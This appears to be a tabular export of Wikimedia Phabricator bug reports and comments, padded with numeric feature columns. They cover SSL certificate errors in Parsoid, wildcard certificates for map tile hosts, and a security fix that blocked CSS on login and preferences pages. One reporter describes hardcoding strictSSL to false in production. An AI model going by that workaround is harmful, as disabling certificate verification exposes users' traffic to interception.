The ignore SSL cert fix only works with httplib2 used by core, which compat does not use.",,,1410676373,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-bppblgzqku2hjokxz6pn,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,2.0,4.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,7.0,4.0,12.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,9.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.625,0.8571428571428571,"The token error is a different bug caused by changes in the MW API, and not yet fixed for compat.  I suspect that has already been raised, but Amir will know.

The ignore SSL cert fix only works with httplib2 used by core, which compat does not use."
72761,Require SSL certificates to be valid; don not allow to use your own certificate,"**Author:** `vichak`

**Description:**
The error when you use self signed certificate is the following :

Page Fetch failure for ""https://myhost/api.php"": Error: UNABLE_TO_VERIFY_LEAF_SIGNATURE

DoesNotExistError: Page Fetch failure for ""https://myhost/api.php"": Error: UNABLE_TO_VERIFY_LEAF_SIGNATURE
at ApiRequest._requestCB (/usr/lib/parsoid/src/lib/mediawiki.ApiRequest.js:153:15)
at self.callback (/usr/lib/parsoid/node_modules/request/request.js:121:22)
at Request.emit (events.js:95:17)
at ClientRequest.self.clientErrorHandler (/usr/lib/parsoid/node_modules/request/request.js:230:10)
at ClientRequest.emit (events.js:95:17)
at CleartextStream.socketErrorListener (http.js:1547:9)
at CleartextStream.emit (events.js:95:17)
at SecurePair.<anonymous> (tls.js:1386:19)
at SecurePair.emit (events.js:92:17)
at SecurePair.maybeInitFinished (tls.js:979:10)

I push a code review on https://gerrit.wikimedia.org/r/#/c/159811/2
But this not working...

It need to offer the strictSSL option of request module. I found this option on https://github.com/mikeal/request

I hardcoded strictSSL to false in my production server...

I wanted to share this.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=64003",Needs Triage,90.0,1410511980,1410800121.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-pjgsahbxbmqe6xdh7l6c,task_description,resolved,True,c3,1,False,False,True,-42,True,0.0,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,2.3333333333333335,0.0,1.3333333333333333,7.333333333333333,0.0,1.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,1.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,1.0,0.0,0.0,0.0,2.6666666666666665,0.0,0.0,0.0,0.0,0.0,10.666666666666666,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,1.3333333333333333,0.3333333333333333,14.333333333333334,0.3333333333333333,0.3333333333333333,3.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,3.0,7.333333333333333,12.666666666666666,0.0,0.6666666666666666,0.0,3.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,4.774289700659564,0.5138888888888888,"**Author:** CODE

**Description:**
The error when you use self signed certificate is the following :

Page Fetch failure for ""URL Error: UNABLE_TO_VERIFY_LEAF_SIGNATURE

DoesNotExistError: Page Fetch failure for ""URL Error: UNABLE_TO_VERIFY_LEAF_SIGNATURE
at ApiRequest._requestCB (/usr/lib/parsoid/src/lib/mediawiki.ApiRequest.js:153:15)
at self.callback (/usr/lib/parsoid/node_modules/request/request.js:121:22)
at Request.emit (events.js:95:17)
at ClientRequest.self.clientErrorHandler (/usr/lib/parsoid/node_modules/request/request.js:230:10)
at ClientRequest.emit (events.js:95:17)
at CleartextStream.socketErrorListener (http.js:1547:9)
at CleartextStream.emit (events.js:95:17)
at SecurePair.<anonymous> (tls.js:1386:19)
at SecurePair.emit (events.js:92:17)
at SecurePair.maybeInitFinished (tls.js:979:10)

I push a code review on URL
But this not working...

It need to offer the strictSSL option of request module. I found this option on URL

I hardcoded strictSSL to false in my production server...

I wanted to share this.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
329484,Require SSL certificates to be valid; don not allow to use your own certificate,"**gerritadmin** wrote:

Change 159811 merged by jenkins-bot:
(Bug 70761) Add strictSSL option to ParsoidConfig

https://gerrit.wikimedia.org/r/159811",,,1411011323,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pjgsahbxbmqe6xdh7l6c,task_subcomment,,True,c3,1,False,,,-41,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9642857142857144,0.8214285714285714,"**gerritadmin** wrote:

Change 159811 merged by jenkins-bot:
(Bug 70761) Add strictSSL option to ParsoidConfig

GERRIT_URL"
329481,Require SSL certificates to be valid; don not allow to use your own certificate,"

*** This bug has been marked as a duplicate of bug 64003 ***",,,1410800121,,PHID-USER-gxcjmjpejlhfnrquksm2,False,,,PHID-TASK-pjgsahbxbmqe6xdh7l6c,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 64003 ***"
329476,Require SSL certificates to be valid; don not allow to use your own certificate,"**gerritadmin** wrote:

Change 159811 had a related patch set uploaded by Vichak:
(Bug 70761) Add strictSSL option to ParsoidConfig

https://gerrit.wikimedia.org/r/159811",,,1410542450,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pjgsahbxbmqe6xdh7l6c,task_subcomment,,True,c3,1,False,,,-42,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.096774193548387,0.8387096774193549,"**gerritadmin** wrote:

Change 159811 had a related patch set uploaded by Vichak:
(Bug 70761) Add strictSSL option to ParsoidConfig

GERRIT_URL"
72680,Hosting OSM tiles via HTTPS,"HTTPs delivery for OSM tiles currently results in certificate problems.

If URLs like https://c.tiles.wmflabs.org/hikebike/4/8/4.png are used to deliver the tiles it gives a certificate error.
We already had this on Toolserver and I discovered that the wildcard *.wmflabs.org SSL certificate does not cover c.tiles.wmflabs.org.
This is because sub - sub - domains are not handled by wildcard ssl certs.

So the best way to solve this problem would be to use different host names like tiles-c.wmflabs.org so you have only one sub domain.

We need this to be done quite soon because otherwise we cannot switch the whole OSM stuff from Toolserver to Toollabs.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1410378360,1417887106.0,PHID-USER-ekxwfh3pd7ipy3q6jpdj,False,PHID-USER-ekxwfh3pd7ipy3q6jpdj,False,PHID-TASK-ygetlcda3pc5nphufjra,task_description,resolved,True,c3,1,True,True,True,-43,True,0.0,0.0,0.0,1.5,1.5,3.5,1.0,1.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,2.5,0.0,6.5,10.5,0.0,2.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,4.5,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.5,14.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,3.0,3.0,10.0,3.0,0.5,5.5,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,3.5,10.5,7.0,0.0,0.0,0.0,3.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,4.347014925373134,0.7701931518876207,"HTTPs delivery for OSM tiles currently results in certificate problems.

If URLs like URL are used to deliver the tiles it gives a certificate error.
We already had this on Toolserver and I discovered that the wildcard *.wmflabs.org SSL certificate does not cover c.tiles.wmflabs.org.
This is because sub - sub - domains are not handled by wildcard ssl certs.

So the best way to solve this problem would be to use different host names like tiles-c.wmflabs.org so you have only one sub domain.

We need this to be done quite soon because otherwise we cannot switch the whole OSM stuff from Toolserver to Toollabs.

--------------------------
**Version**: unspecified
**Severity**: normal"
72672,User specified CSS loads on Special:Preferences / Special:UserLogin,"While investigating T70521 today, me and Helder noticed that user-created CSS is loaded on Special:Preferences and Special:UserLogin. Both special pages call `$out->disallowUserJs()`, which only controls `TYPE_SCRIPTS`, not `TYPE_STYLES` or `TYPE_COMBINED`.

Is this a bug? Or is it safe for CSS to run on those pages?

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
* {T73007}
* {T73621}",Needs Triage,90.0,1410374220,1412274197.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-ctlzqbhplfckhrqinlks,task_description,resolved,True,c3,1,True,False,True,-43,True,0.0,0.0,0.0,1.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,3.0,6.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,23.0,2.0,4.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,6.0,11.0,2.0,0.0,0.0,2.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,3.473684210526316,0.6105263157894737,"While investigating T70521 today, me and Helder noticed that user-created CSS is loaded on Special:Preferences and Special:UserLogin. Both special pages call CODE, which only controls CODE, not CODE or CODE.

Is this a bug? Or is it safe for CSS to run on those pages?

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
* {T73007}
* {T73621}"
688171,User specified CSS loads on Special:Preferences / Special:UserLogin,"@Subfader You will have to set the [[ https://www.mediawiki.org/wiki/Manual:$wgAllowSiteCSSOnRestrictedPages | $wgAllowSiteCSSOnRestrictedPages ]] configuration parameter to ""true"".",,,1467634580,,PHID-USER-37d2msujvpp2rippbzoq,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,3,False,,,52,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.590909090909091,0.8181818181818182,"SCREEN_NAME You will have to set the [[ URL | $wgAllowSiteCSSOnRestrictedPages ]] configuration parameter to ""true""."
688156,User specified CSS loads on Special:Preferences / Special:UserLogin,When will this be fixed? I installed MW 1.27 and Special:Preferences is still broken.,,,1467632734,,PHID-USER-qjb2hbe663dhrrpskylp,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,3,False,,,52,True,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,28.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,0.0,11.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,When will this be fixed? I installed MW 1.27 and Special:Preferences is still broken.
325625,User specified CSS loads on Special:Preferences / Special:UserLogin,"Bug 71621 is tracking the issue of site-wide styles not being loaded, and I've uploaded a patch for it.",,,1412924517,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,True,,,-38,True,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.5416666666666665,1.0,"Bug 71621 is tracking the issue of site-wide styles not being loaded, and I've uploaded a patch for it."
325623,User specified CSS loads on Special:Preferences / Special:UserLogin,"I talked with Kunal about this yesterday. My perspective is that admin controlled css is probably the least likely place someone is going to inject something malicious. The user controlled css is the part that scares me the most.

I'd be ok with a config option to allow Common.css and the skin css files through. I'm not sure how much work that would be in resource loader.",,,1412720500,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,True,,,-39,True,1.0,3.0,0.0,0.0,1.0,7.0,7.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,7.0,0.0,8.0,11.0,3.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,3.0,0.0,19.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,8.0,9.0,3.0,1.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,11.0,3.0,0.0,0.0,0.0,7.0,0.0,4.0,1.0,1.0,1.0,0.0,3.0,0.0,4.12,0.7333333333333333,"I talked with Kunal about this yesterday. My perspective is that admin controlled css is probably the least likely place someone is going to inject something malicious. The user controlled css is the part that scares me the most.

I'd be ok with a config option to allow Common.css and the skin css files through. I'm not sure how much work that would be in resource loader."
325620,User specified CSS loads on Special:Preferences / Special:UserLogin,"I'm in agreement with Alexia and Bawolff (and kgh). For sites that use that use massive custom changes to their skins, such as the background color or the sidebar, having all this not show up on Special:Preferences or Special:UserLogin really takes away more than the minimal security it adds. Given that, as Alexia said, only administrators can even edit these interface pages, it's only reasonable that they should affect the entire site. Using my own site as example: http://grisaiawiki.net/ where I changed all sorts of colors and styles through Common.css, I was a bit off-put when I noticed that my changes aren't showing up on a few pages. User-specific CSS and JS not showing up on these pages is fair, but site-wide interface edits should get through.",,,1412707396,,PHID-USER-tpqtzmxxwl5x3fib6u4k,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,False,,,-39,True,2.0,0.0,0.0,0.0,2.0,7.0,1.5,0.0,0.0,0.0,2.0,1.0,0.0,1.0,0.0,3.5,0.0,6.5,11.5,0.0,0.0,1.5,0.0,0.0,2.5,1.0,0.0,0.5,0.5,0.0,0.0,4.5,2.5,1.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,1.0,0.0,0.5,0.0,0.5,0.5,16.5,1.0,1.5,0.0,1.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,1.0,0.0,0.0,1.5,0.5,0.0,3.5,2.0,11.0,2.5,4.0,7.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,6.0,11.5,4.5,0.0,0.0,0.0,6.0,0.0,2.0,1.5,0.0,2.5,0.5,0.0,0.0,3.96028971028971,0.7676490176490176,"I'm in agreement with Alexia and Bawolff (and kgh). For sites that use that use massive custom changes to their skins, such as the background color or the sidebar, having all this not show up on Special:Preferences or Special:UserLogin really takes away more than the minimal security it adds. Given that, as Alexia said, only administrators can even edit these interface pages, it's only reasonable that they should affect the entire site. Using my own site as example: URL where I changed all sorts of colors and styles through Common.css, I was a bit off-put when I noticed that my changes aren't showing up on a few pages. User-specific CSS and JS not showing up on these pages is fair, but site-wide interface edits should get through."
325618,User specified CSS loads on Special:Preferences / Special:UserLogin,This is indeed a big problem for wikis which use on-wiki custom skinning. Besides this indeed rather the regular case than a rare one. Now with some days having passed I can report that people even thought their login was maliciously hijacked since this page now looks totally different than the rest of the wiki. While the actual security increased the felt security dramatically plunged. :( I utterly agree with Bawolff.,,,1412668183,,PHID-USER-37d2msujvpp2rippbzoq,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,False,,,-39,True,1.0,0.0,3.0,1.0,0.0,8.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,13.0,14.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,1.0,0.0,1.0,5.0,3.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,3.0,3.0,0.0,0.0,0.0,0.0,1.0,14.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,9.0,5.0,0.0,15.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,14.0,3.0,0.0,0.0,0.0,4.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,4.512820512820513,0.7948717948717948,This is indeed a big problem for wikis which use on-wiki custom skinning. Besides this indeed rather the regular case than a rare one. Now with some days having passed I can report that people even thought their login was maliciously hijacked since this page now looks totally different than the rest of the wiki. While the actual security increased the felt security dramatically plunged. :( I utterly agree with Bawolff.
325615,User specified CSS loads on Special:Preferences / Special:UserLogin,"FWIW, I don't think the security benefit (which is at best minimal) of this change is worth the inconvenience to users who do custom skinning by editing MediaWiki:Common.css (See also my email to wikitech-l https://lists.wikimedia.org/pipermail/wikitech-l/2014-October/078903.html )",,,1412432953,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,2.0,9.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,18.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,4.0,13.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,11.0,7.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,2.0,0.0,3.933333333333333,0.8666666666666667,"FWIW, I don't think the security benefit (which is at best minimal) of this change is worth the inconvenience to users who do custom skinning by editing MediaWiki:Common.css (See also my email to wikitech-l URL )"
325611,User specified CSS loads on Special:Preferences / Special:UserLogin,"It appears this change is also affecting custom skin CSS(Mediawiki:Vector.css) instead of only cusotm user CSS.  This prevents custom site styles, that are only editable by the site administrators, loaded through Mediawiki:Vector.css to not display when on those pages.  Unfortunately that ends up being a jarring experience for the end user.",,,1412347349,,PHID-USER-x6bqmsddkjigelco4gwe,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,0.0,2.0,5.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,11.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,5.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,5.0,13.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,11.0,8.0,0.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,4.634920634920635,0.8095238095238095,"It appears this change is also affecting custom skin CSS(Mediawiki:Vector.css) instead of only cusotm user CSS.  This prevents custom site styles, that are only editable by the site administrators, loaded through Mediawiki:Vector.css to not display when on those pages.  Unfortunately that ends up being a jarring experience for the end user."
325606,User specified CSS loads on Special:Preferences / Special:UserLogin,"(In reply to Markus Glaser from comment #15)
> Giving early access to Wikia

What about those of us who are running giant platforms as well such as Gamepedia?",,,1412347179,,PHID-USER-qodtymkz2efhettqj7dz,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,20.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,20.0,10.0,3.0,0.0,0.0,3.0,0.0,7.0,0.0,3.0,3.0,0.0,0.0,0.0,3.7333333333333334,0.9666666666666667,"(In reply to Markus Glaser from comment #15)
QUOTE

What about those of us who are running giant platforms as well such as Gamepedia?"
325600,User specified CSS loads on Special:Preferences / Special:UserLogin,"Change 164271 merged by jenkins-bot:
SECURITY: OutputPage: Remove separation of css and js module allowance

https://gerrit.wikimedia.org/r/164271",,,1412213424,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.608695652173913,0.9130434782608695,"Change 164271 merged by jenkins-bot:
SECURITY: OutputPage: Remove separation of css and js module allowance

GERRIT_URL"
325597,User specified CSS loads on Special:Preferences / Special:UserLogin,"Change 164271 had a related patch set uploaded by Legoktm:
SECURITY: OutputPage: Remove separation of css and js module allowance

https://gerrit.wikimedia.org/r/164271",,,1412212654,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,23.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.730769230769231,0.9230769230769231,"Change 164271 had a related patch set uploaded by Legoktm:
SECURITY: OutputPage: Remove separation of css and js module allowance

GERRIT_URL"
325592,User specified CSS loads on Special:Preferences / Special:UserLogin,Publishing this bug as the release is out.,,,1412208686,,PHID-USER-qfsdosrnxswxjuku752n,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.888888888888889,1.0,Publishing this bug as the release is out.
325590,User specified CSS loads on Special:Preferences / Special:UserLogin,Thanks Grunny for your help!!,,,1412208594,,PHID-USER-qfsdosrnxswxjuku752n,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,0.8571428571428571,Thanks Grunny for your help!!
